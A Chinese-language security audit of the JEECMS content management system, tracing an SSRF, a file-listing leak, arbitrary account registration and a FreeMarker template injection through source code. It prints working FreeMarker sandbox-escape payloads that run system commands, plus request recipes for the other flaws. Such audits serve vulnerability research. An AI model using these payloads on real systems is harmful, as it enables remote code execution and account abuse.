簡要分析:
從官網(wǎng)的論壇上沒有找到開發(fā)文檔,從jeecms-parent/jeecms-common/pom.xml中可以發(fā)現(xiàn)應(yīng)用系統(tǒng)使用了QueryDsl。QueryDsl是一個用于構(gòu)建類型安全的SQL查詢的框架,它可以根據(jù)你定義的JPA Entity實(shí)體類逆向生成查詢類,通過操作查詢類完成SQL的操作。從代碼中可以發(fā)現(xiàn)使用了JPAQueryFactory來構(gòu)建和執(zhí)行查詢。JPAQueryFactory會自動處理參數(shù)的轉(zhuǎn)義和注入,確保查詢的安全性,也就是不存在SQL注入的問題。

0x01 服務(wù)端請求偽造(SSRF):
源文件位置:src/main/java/com/jeecms/common/base/controller/CommonController.java
@RequestMapping(value = "/loadingImage")
public void loadingImage(HttpServletRequest request, HttpServletResponse response) {
response.setContentType("image/jpeg");
String imageUrl = request.getParameter("imageUrl");
if(imageUrl.startsWith(LIMIT_RES_WX_HTTP) || imageUrl.startsWith(LIMIT_RES_WX_HTTPS)){
ServletOutputStream out;
try {
out = response.getOutputStream();
out.write(HttpUtil.readURLImage(imageUrl));
out.close();
} catch (IOException e) {
logger.error(e.getMessage());
}
}else{
ServletOutputStream out;
try {
out = response.getOutputStream();
response.setStatus(Response.SC_NOT_FOUND);
out.close();
} catch (IOException e) {
logger.error(e.getMessage());
}
}
}
imageUrl用戶可控,靜態(tài)變量LIMIT_RES_WX_HTTP和LIMIT_RES_WX_HTTPS指向域名mmbiz.qpic.cn

這里可以通過@符號進(jìn)行繞過,然后會調(diào)用HttpUtil.readURLImage(imageUrl),最后將imageUrl參數(shù)傳給readURLImage()方法發(fā)送GET請求:

在readURLImage方法還會調(diào)用readInputStream()方法獲取響應(yīng)信息,也就是說這是個有回顯的SSRF漏洞
漏洞復(fù)現(xiàn):
證明截圖:

0x02 靜態(tài)資源信息泄露:
源文件位置:src/main/java/com/jeecms/admin/controller/resource/UeditorUploadAct.java
@RequestMapping(value = "/ueditor/imageManager")
public void imageManager(Integer picNum, Boolean insite,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
super.imageManager(picNum, insite, request, response);
}
這里會調(diào)用父類的imageManager()方法,跟進(jìn)后發(fā)現(xiàn)會調(diào)用listFile()方法,傳遞request對象和請求參數(shù)start作為形參。

追蹤重點(diǎn)方法listFile(),首先從請求中獲取全局配置信息,然后根據(jù)配置中的上傳路徑(/u/cms/www)創(chuàng)建一個File對象,如果目錄存在且是一個目錄,方法將使用Apache Commons IO 庫的FileUtils.listFiles方法獲取目錄下的所有文件(包括子目錄),若start參數(shù)在有效范圍內(nèi),將從文件列表中提取從start開始的20個文件,最后將文件列表的起始索引和總大小添加到狀態(tài)對象中,并返回該對象。

也就是說,雖然一次只能獲取20個文件的信息,我們可以通過多次請求,傳參start+=20來獲取/u/cms/www目錄下的所有文件的路徑信息。
漏洞復(fù)現(xiàn):
Payload:http://192.168.0.101:8083/ueditor/imageManager?start=20
漏洞證明:

0x03 任意用戶注冊:
源文件位置:src/main/java/com/jeecms/front/controller/ThirdPartyLoginController.java
在第291行中,設(shè)置了一個URL路徑為/bind的映射,將請求體中的數(shù)據(jù)傳輸?shù)綄?shí)體類PcLoginDto對象中
//判斷登錄方式
if (PcLoginDto.TYPE_LOGIN.equals(dto.getLoginWay())) {
Boolean validName = memberService.validName(dto.getUsername());
if (!validName) {
return new ResponseInfo(UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getCode(),
UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getDefaultMessage(), false);
}
//如果是直接登錄,則默認(rèn)創(chuàng)建會員,密碼隨機(jī)
user.setPassword(String.valueOf(new SnowFlake(SnowFlake.SHORT_STR_CODE).nextId()));
// 密碼加密
byte[] salt = Digests.generateSaltFix();
user.setSalt(Digests.getSaltStr(salt));
user.setThird(true);
//新建會員用戶
user = memberService.save(user);
this.bind(dto, user.getId());
當(dāng)傳遞的loginWay=1時,檢查username是否已經(jīng)存在,若不存在則使用SnowFlake算法來生成一個短字符串作為密碼,生成隨機(jī)鹽值設(shè)置為用戶對象的鹽值屬性,然后調(diào)用memberService.save()方法獲取一個新的實(shí)體類對象,然后執(zhí)行bind()方法綁定第三方用戶:
public void bind(PcLoginDto dto, Integer memberId) throws GlobalException {
//查詢第三方配置信息
SysThird thirdInfo = thirdService.getCode(dto.getLoginType());
SysUserThird third = new SysUserThird();
third.setAppId(thirdInfo.getAppId());
third.setThirdId(dto.getThirdId());
third.setThirdUsername(dto.getNickname());
third.setMemberId(memberId);
third.setUsername(dto.getUsername());
third.setThirdTypeCode(dto.getLoginType());
sysUserThirdService.save(third);
}
綜上,請求體中我們需要傳遞的參數(shù)有username、loginWay、loginType和thirdId,username不能是已經(jīng)存在的用戶名,loginWay要求等于1,loginType為QQ、WECHAT、WEIBO其中之一。
漏洞復(fù)現(xiàn):

0x04 模板注入:
使用opensca-cli檢查第三方組件漏洞,發(fā)現(xiàn)系統(tǒng)存在間接依賴freemarker:2.3.28,該版本存在SSTI漏洞

首先查找文件上傳的接口,是否有用戶可控,且不限制上傳后綴或可被模板渲染解析的后綴。
源文件位置:src/main/java/com/jeecms/member/controller/UploadController.java

此處為注冊用戶可操作的一處上傳接口,重點(diǎn)理解服務(wù)端如何處理上傳的文件,追蹤upload()方法
方法定義:src/main/java/com/jeecms/resource/service/impl/UploadService.java:

在validate()方法中會對上傳的文件名進(jìn)行驗(yàn)證:不允許存在/和空字符:

若指定了上傳路徑uploadPath,則需滿足如下要求: 必須以/u/cms開頭,且不得存在字符 ..\ 或 ../

根據(jù)文件內(nèi)容獲取前10個字節(jié)的16進(jìn)制數(shù)作為識別文件的標(biāo)識,若識別到則進(jìn)行白名單文件檢查,否則進(jìn)行黑名單檢查

在doUpload()方法中,首先會根據(jù)文件內(nèi)容判斷其是否為圖片,當(dāng)拓展名為空時設(shè)置為jpg后綴:

最終調(diào)用storeByExt()方法根據(jù)拓展名生成一個隨機(jī)文件名,并調(diào)用store()方法上傳文件

利用該接口我們可以上傳HTML文件至/u/cms/202X0X/目錄下,于是找可以模板解析的代碼:
源文件位置:src/main/java/com/jeecms/front/controller/FrontCommonController.java
@GetMapping(value = "/{page}.htm")
public String page(@PathVariable String page, HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception {
String loginUrl = WebConstants.LOGIN_URL;
String ctx = request.getContextPath();
if (StringUtils.isNoneBlank(ctx)) {
loginUrl = ctx + loginUrl;
}
FrontUtils.frontData(request, model);
FrontUtils.frontPageData(request, model);
/** 將request中所有參數(shù)保存至model中 */
Map<String, Object> params = RequestUtils.getQueryParams(request);
if(params!=null){
Set<String>keySet = params.keySet();
String uri = request.getRequestURI();
if (StringUtils.isNoneBlank(ctx)) {
uri = uri.substring(ctx.length());
}
for(String key:keySet){
if(params.get(key) instanceof String){
String val = (String) params.get(key);
if (StrUtils.isStartWithNumber(val) && !StrUtils.isNumeric(val) && !uri.startsWith(WebConstants.SEARCH_PREFIX)) {
return FrontUtils.pageNotFound(request, response, model);
}
params.put(key,XssUtil.cleanXSS(val));
}
}
}
model.putAll(params);
String tpl = FrontUtils.getTplAbsolutePath(request, page, RequestUtils.COMMON_PATH_SEPARATE);
String view = FrontUtils.getTplPath(request, tpl);
String viewPath = realPathResolver.get(view);
boolean tplExist = false;
if (WebConstants.FREEMARKER_RES_TYPE.equals(freemarkResType)) {
viewPath = templateLoaderPath + view;
tplExist = new UrlResource(viewPath).exists();
} else {
viewPath = java.text.Normalizer.normalize(viewPath, java.text.Normalizer.Form.NFKD);
File tplFile = new File(viewPath);
tplExist = tplFile.exists();
}
if (tplExist) {
return view;
} else {
return FrontUtils.pageNotFound(request, response, model);
}
}
模板文件默認(rèn)存放位置:/r/cms/www/default
首先調(diào)用FrontUtils.frontData(request, model)和FrontUtils.frontPageData(request, model)會將系統(tǒng)的一些配置信息如模板文件默認(rèn)存放位置/r/cms/www/default及部分訪問路徑信息保存在model中,通過利用org.springframework.ui.ModelMap,在model上添加對象,model是以map的形式存儲的,這里的key和模板里是對應(yīng)的,freemarker就是通過key來取得value的進(jìn)行渲染。

然后調(diào)用FrontUtils.getTplAbsolutePath()方法,當(dāng) path 中存在-時,會以/進(jìn)行替換。該方法用于獲取模板的絕對路徑。

由于在新版本freemarker中, 多了一個TemplateClassResolver.SAFER_RESOLVER配置。禁止加載ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime這三個類。同時為了防御通過其他方式調(diào)用惡意方法,F(xiàn)reeMarker內(nèi)置了一份危險方法名單:unsafeMethods.properties

Constructor.newInstance被禁使得我們不能直接實(shí)例化對象,Method.invoke被禁使得我們不能直接調(diào)用方法。這里要做的是尋找一個類的靜態(tài)成員對象(public static final),然后執(zhí)行它的靜態(tài)方法。
FreeMarker自帶的O bjectWrapper類就是一個不錯的選擇,它的DEFAULT_WRAPPER字段是一個實(shí)例化后的O bjectWrapper對象,而O bjectWrapper的newInstance方法(繼承自BeansWrapper)可以用于實(shí)例化一個類,我們只需要向它傳入被禁用的freemarker.template.utility.Execute進(jìn)行實(shí)例化,返回的對象就可以直接用于執(zhí)行系統(tǒng)命令。
在2.3.30以下,freemaker模版注入存在繞過沙箱的方法:
- 繞過class.getClassloader反射加載Execute類:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
通過使用java.security.protectionDomain的getClassLoader方法來獲得類加載器再一步一步反射調(diào)用Execute類,此payload需要在數(shù)據(jù)模型中找到一個作為對象的變量,比如從后臺模板管理處,編輯index.html,將上面payload中的<<object>>為site:


- 如果Spring Beans可用,可以直接禁用沙箱:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
此payload需要freemarker+spring并設(shè)置setExposeSpringMacroHelpers(true)或者在application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true
漏洞復(fù)現(xiàn):
利用條件:JEECMS-Auth-Token


參考如下:
freemarker模版注入 - Escape-w - 博客園
奇安信攻防社區(qū)-某內(nèi)容管理系統(tǒng)RCE漏洞分析